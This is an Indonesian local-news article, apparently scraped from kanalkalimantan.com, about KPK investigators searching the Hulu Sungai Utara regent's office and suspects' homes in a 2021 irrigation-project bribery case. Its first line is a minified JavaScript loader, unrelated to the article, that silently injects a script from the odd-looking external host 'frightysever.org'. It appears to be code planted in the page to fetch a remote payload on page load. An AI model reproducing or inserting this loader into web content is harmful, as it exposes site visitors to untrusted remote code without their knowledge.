(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Rombongan Penyidik KPK Geledah Ruang Kerja Bupati HSU


KANALKALIMANTAN.COM, AMUNTAI – Langkah Komisi Pemberantasan Korupsi (KPK) mengusut kasus suap proyek irigasi di Kabupaten Hulu Sungai Utara (HSU) pasca operasi tangkap tangan (OTT) Plt Kadis PUPR HSU dan dua rekanan, terus berlanjut.

Setelah menggeledah kantor Dinas PUPR, rumah tiga tersangka, rumah dinas Bupati HSU, giliran ruang kerja Bupati HSU H Abdul Wahid yang diobok-obok, Selasa (21/9/2021) pukul 12.00 Wita.

Sejumlah penyidik dengan menggunakan rompi KPK, mendatangi kantor Bupati HSU di Jalan Ahmad Yani No 12 Kelurahan Murung Sari, Amuntai Tengah. Tentu saja, kedatangan rombongan penyidik ini juga turut mengundang perhatian ASN yang bertugas di kantor Bupati.

Informasi yang dihimpun Kanalkalimantan.com, penggeledahan tersebut hingga saat ini masih berlangsung. Belum diketahui, apakah Bupati Wahid ikut hadir dalam penggeledahan tersebut. Sejumlah sumber yang dikonfirmasi masih belum memberikan keterangan terkait penggeledahan tersebut.

 

 

Sementara itu, Kapolres HSU AKBP Afri Darmawan kepada media mengatakan membenarkan adanya penggeledahan ruang kerja Bupati HSU oleh penyidik KPK.

Baca juga: Dua Indikator Bikin PPKM di Banjarbaru Masih Level 4, Ini Penjelasan Kadinkes

“Saat ini masih berlangsung. Kami hanya diminta membantu pengamanan saja,” katanya.

Sebelumnya, pemeriksaan maraton dilakukan penyidik KPK pasca penetapan tiga tersangka kasus korupsi proyek irigasi di HSU. Setelah sehari sebelumnya menggeledah rumah dinas (Rumdin) Bupati HSU dan rumah Plt Kadis PUPR HSU Maliki, Senin (20/9/2021), KPK juga mengobok-obok rumah dua pengusaha pelaku penyuapan, serta kantor Dinas Pekerjaan Umum Penataan Ruang dan Pertanahan (PUPRP) HSU.

Pada penggeledahan di Dinas PUPR, nampak sejumlah mobil penyidik KPK parkir di halaman kantor. Hingga berita ini diturunkan, penggeledahan masih berlangsung.

Penggeledahan tersebut juga mendapatkan pengamanan dari petugas Polres HSU untuk mengantisipasi hal yang tak diinginkan.

KPK juga melakukan penggeledahan di rumah Direktur CV Hanamas, Marhaini di Jalan Abdul Hamidan, Desa Sungai Karias, Amuntai dan rumah Direktur CV Kalpataru Fachriadi di Jalan Kuripan, Kelurahan Murung Sari, Amuntai. Keduanya sebelumnya telah ditetapkan sebagai tersangka oleh KPK bersama tersangka Plt Kadis PUPR HSU Maliki. (kanalkalimantan.com/red)

Reporter: red
Editor: cell


Risa

Recent Posts

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

2 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

2 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

4 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

7 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

19 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

21 jam ago

This website uses cookies.